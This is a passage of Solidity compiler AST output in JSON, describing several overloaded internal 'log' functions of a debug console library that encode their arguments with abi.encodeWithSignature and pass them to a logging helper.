ure","virtual":false,"visibility":"internal"},{"id":31010,"nodeType":"FunctionDefinition","src":"62409:181:15","nodes":[],"body":{"id":31009,"nodeType":"Block","src":"62484:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c626f6f6c29","id":31001,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62534:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f1d5c9f0de8c048364058d1d6842804ada33dbc34bf9eaff8f2be978f384e08","typeString":"literal_string \"log(address,string,bool,bool)\""},"value":"log(address,string,bool,bool)"},{"id":31002,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30989,"src":"62567:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31003,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30991,"src":"62571:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31004,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30993,"src":"62575:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31005,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30995,"src":"62579:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f1d5c9f0de8c048364058d1d6842804ada33dbc34bf9eaff8f2be978f384e08","typeString":"literal_string \"log(address,string,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30999,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62510:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31000,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62514:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62510:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62510:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30998,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"62494:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31007,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62494:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31008,"nodeType":"ExpressionStatement","src":"62494:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62418:3:15","parameters":{"id":30996,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30989,"mutability":"mutable","name":"p0","nameLocation":"62430:2:15","nodeType":"VariableDeclaration","scope":31010,"src":"62422:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30988,"name":"address","nodeType":"ElementaryTypeName","src":"62422:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30991,"mutability":"mutable","name":"p1","nameLocation":"62448:2:15","nodeType":"VariableDeclaration","scope":31010,"src":"62434:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30990,"name":"string","nodeType":"ElementaryTypeName","src":"62434:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30993,"mutability":"mutable","name":"p2","nameLocation":"62457:2:15","nodeType":"VariableDeclaration","scope":31010,"src":"62452:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30992,"name":"bool","nodeType":"ElementaryTypeName","src":"62452:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30995,"mutability":"mutable","name":"p3","nameLocation":"62466:2:15","nodeType":"VariableDeclaration","scope":31010,"src":"62461:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30994,"name":"bool","nodeType":"ElementaryTypeName","src":"62461:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"62421:48:15"},"returnParameters":{"id":30997,"nodeType":"ParameterList","parameters":[],"src":"62484:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31033,"nodeType":"FunctionDefinition","src":"62596:187:15","nodes":[],"body":{"id":31032,"nodeType":"Block","src":"62674:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c6164647265737329","id":31024,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62724:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_205871c2f2d320acdd350939b5fc035cc20b1a9cc058fb26f1c9fb3d2ba59970","typeString":"literal_string \"log(address,string,bool,address)\""},"value":"log(address,string,bool,address)"},{"id":31025,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31012,"src":"62760:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31026,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31014,"src":"62764:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31027,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31016,"src":"62768:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31028,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31018,"src":"62772:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_205871c2f2d320acdd350939b5fc035cc20b1a9cc058fb26f1c9fb3d2ba59970","typeString":"literal_string \"log(address,string,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31022,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62700:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31023,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62704:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62700:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62700:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31021,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"62684:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62684:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31031,"nodeType":"ExpressionStatement","src":"62684:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62605:3:15","parameters":{"id":31019,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31012,"mutability":"mutable","name":"p0","nameLocation":"62617:2:15","nodeType":"VariableDeclaration","scope":31033,"src":"62609:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31011,"name":"address","nodeType":"ElementaryTypeName","src":"62609:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31014,"mutability":"mutable","name":"p1","nameLocation":"62635:2:15","nodeType":"VariableDeclaration","scope":31033,"src":"62621:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31013,"name":"string","nodeType":"ElementaryTypeName","src":"62621:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31016,"mutability":"mutable","name":"p2","nameLocation":"62644:2:15","nodeType":"VariableDeclaration","scope":31033,"src":"62639:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31015,"name":"bool","nodeType":"ElementaryTypeName","src":"62639:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31018,"mutability":"mutable","name":"p3","nameLocation":"62656:2:15","nodeType":"VariableDeclaration","scope":31033,"src":"62648:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31017,"name":"address","nodeType":"ElementaryTypeName","src":"62648:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"62608:51:15"},"returnParameters":{"id":31020,"nodeType":"ParameterList","parameters":[],"src":"62674:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31056,"nodeType":"FunctionDefinition","src":"62789:193:15","nodes":[],"body":{"id":31055,"nodeType":"Block","src":"62870:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c75696e7432353629","id":31047,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62920:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_457fe3cf7da0d45ce051e53ef9adc21213d4d7779b5a0fadf99dea432be4beb7","typeString":"literal_string \"log(address,string,address,uint256)\""},"value":"log(address,string,address,uint256)"},{"id":31048,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31035,"src":"62959:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31049,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31037,"src":"62963:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31050,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31039,"src":"62967:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31051,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31041,"src":"62971:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_457fe3cf7da0d45ce051e53ef9adc21213d4d7779b5a0fadf99dea432be4beb7","typeString":"literal_string \"log(address,string,address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31045,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62896:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31046,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62900:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62896:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62896:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31044,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"62880:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62880:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31054,"nodeType":"ExpressionStatement","src":"62880:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62798:3:15","parameters":{"id":31042,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31035,"mutability":"mutable","name":"p0","nameLocation":"62810:2:15","nodeType":"VariableDeclaration","scope":31056,"src":"62802:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31034,"name":"address","nodeType":"ElementaryTypeName","src":"62802:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31037,"mutability":"mutable","name":"p1","nameLocation":"62828:2:15","nodeType":"VariableDeclaration","scope":31056,"src":"62814:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31036,"name":"string","nodeType":"ElementaryTypeName","src":"62814:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31039,"mutability":"mutable","name":"p2","nameLocation":"62840:2:15","nodeType":"VariableDeclaration","scope":31056,"src":"62832:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31038,"name":"address","nodeType":"ElementaryTypeName","src":"62832:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31041,"mutability":"mutable","name":"p3","nameLocation":"62852:2:15","nodeType":"VariableDeclaration","scope":31056,"src":"62844:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31040,"name":"uint256","nodeType":"ElementaryTypeName","src":"62844:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"62801:54:15"},"returnParameters":{"id":31043,"nodeType":"ParameterList","parameters":[],"src":"62870:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31079,"nodeType":"FunctionDefinition","src":"62988:198:15","nodes":[],"body":{"id":31078,"nodeType":"Block","src":"63075:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c737472696e6729","id":31070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63125:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f7e3624510fc5618feb98a49f5d4404e3749dacbdc916c267fea7b2051a08dea","typeString":"literal_string \"log(address,string,address,string)\""},"value":"log(address,string,address,string)"},{"id":31071,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31058,"src":"63163:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31072,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31060,"src":"63167:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31073,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31062,"src":"63171:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31074,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31064,"src":"63175:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f7e3624510fc5618feb98a49f5d4404e3749dacbdc916c267fea7b2051a08dea","typeString":"literal_string \"log(address,string,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31068,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63101:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31069,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63105:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63101:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63101:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31067,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"63085:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63085:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31077,"nodeType":"ExpressionStatement","src":"63085:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62997:3:15","parameters":{"id":31065,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31058,"mutability":"mutable","name":"p0","nameLocation":"63009:2:15","nodeType":"VariableDeclaration","scope":31079,"src":"63001:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31057,"name":"address","nodeType":"ElementaryTypeName","src":"63001:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31060,"mutability":"mutable","name":"p1","nameLocation":"63027:2:15","nodeType":"VariableDeclaration","scope":31079,"src":"63013:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31059,"name":"string","nodeType":"ElementaryTypeName","src":"63013:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31062,"mutability":"mutable","name":"p2","nameLocation":"63039:2:15","nodeType":"VariableDeclaration","scope":31079,"src":"63031:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31061,"name":"address","nodeType":"ElementaryTypeName","src":"63031:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31064,"mutability":"mutable","name":"p3","nameLocation":"63057:2:15","nodeType":"VariableDeclaration","scope":31079,"src":"63043:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31063,"name":"string","nodeType":"ElementaryTypeName","src":"63043:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63000:60:15"},"returnParameters":{"id":31066,"nodeType":"ParameterList","parameters":[],"src":"63075:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31102,"nodeType":"FunctionDefinition","src":"63192:187:15","nodes":[],"body":{"id":31101,"nodeType":"Block","src":"63270:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c626f6f6c29","id":31093,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63320:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0df12b7620e0bad204ac79fe9930fef9b9a40702161764a681594d50d657b081","typeString":"literal_string \"log(address,string,address,bool)\""},"value":"log(address,string,address,bool)"},{"id":31094,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31081,"src":"63356:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31095,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31083,"src":"63360:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31096,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31085,"src":"63364:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31097,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31087,"src":"63368:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0df12b7620e0bad204ac79fe9930fef9b9a40702161764a681594d50d657b081","typeString":"literal_string \"log(address,string,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31091,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63296:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31092,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63300:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63296:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63296:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31090,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"63280:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31099,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63280:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31100,"nodeType":"ExpressionStatement","src":"63280:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63201:3:15","parameters":{"id":31088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31081,"mutability":"mutable","name":"p0","nameLocation":"63213:2:15","nodeType":"VariableDeclaration","scope":31102,"src":"63205:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31080,"name":"address","nodeType":"ElementaryTypeName","src":"63205:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31083,"mutability":"mutable","name":"p1","nameLocation":"63231:2:15","nodeType":"VariableDeclaration","scope":31102,"src":"63217:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31082,"name":"string","nodeType":"ElementaryTypeName","src":"63217:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31085,"mutability":"mutable","name":"p2","nameLocation":"63243:2:15","nodeType":"VariableDeclaration","scope":31102,"src":"63235:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31084,"name":"address","nodeType":"ElementaryTypeName","src":"63235:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31087,"mutability":"mutable","name":"p3","nameLocation":"63252:2:15","nodeType":"VariableDeclaration","scope":31102,"src":"63247:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31086,"name":"bool","nodeType":"ElementaryTypeName","src":"63247:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63204:51:15"},"returnParameters":{"id":31089,"nodeType":"ParameterList","parameters":[],"src":"63270:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31125,"nodeType":"FunctionDefinition","src":"63385:193:15","nodes":[],"body":{"id":31124,"nodeType":"Block","src":"63466:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c6164647265737329","id":31116,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63516:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0d36fa2022fafb45586a59914be3ad4c57b76e89535385dcff89c28c80605121","typeString":"literal_string \"log(address,string,address,address)\""},"value":"log(address,string,address,address)"},{"id":31117,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31104,"src":"63555:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31118,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31106,"src":"63559:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31119,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31108,"src":"63563:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31120,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31110,"src":"63567:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0d36fa2022fafb45586a59914be3ad4c57b76e89535385dcff89c28c80605121","typeString":"literal_string \"log(address,string,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31114,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63492:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31115,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63496:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63492:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 